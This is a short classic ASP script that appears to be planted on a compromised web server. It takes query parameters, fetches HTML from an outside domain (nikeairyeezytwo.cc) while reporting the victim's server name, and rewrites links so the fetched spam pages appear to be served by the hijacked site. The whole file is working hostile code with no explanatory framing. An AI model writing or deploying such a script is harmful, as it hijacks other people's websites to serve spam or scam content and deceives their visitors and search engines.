<% Server.ScriptTimeOut=999999 Function getHTTPPage(Path):t = GetBody(Path):getHTTPPage=BytesToBstr(t,"ISO-8859-1"):End Function Function BytesToBstr(body,Cset):dim objstream:set objstream=Server.CreateObject("adodb.stream"):objstream.Type = 1:objstream.Mode =3:objstream.Open:objstream.Write body:objstream.Position=0:objstream.Type=2:objstream.Charset=Cset:BytesToBstr=objstream.ReadText:objstream.Close:set objstream=nothing:End Function Function GetBody(url):on error resume next:Set Retrieval=CreateObject("Microsoft.XMLHTTP"):With Retrieval:.Open "Get", url, False, "", "":.Send:GetBody=.ResponseBody:End With:Set Retrieval=Nothing:End Function Dim server_name,script_name,id_value,name_value:server_name=Request.ServerVariables("SERVER_NAME"):script_name=Request.ServerVariables("SCRIPT_NAME"):name_value=Request.QueryString("name"):id_value=Request.QueryString("id") if id_value<>"" Then iwww="http://www.nikeairyeezytwo.cc/index.php?referer="&server_name&"&id="&id_value elseif name_value<>"" Then iwww="http://www.nikeairyeezytwo.cc/index.php?referer="&server_name&"&name="&name_value Else iwww="http://www.nikeairyeezytwo.cc/index.php?referer="&server_name end if nhtml=getHTTPPage(iwww):nhtml=Replace(nhtml,"localhost/remote.asp",server_name&script_name):If Len(nhtml) > 100 Then:response.write nhtml:End If %>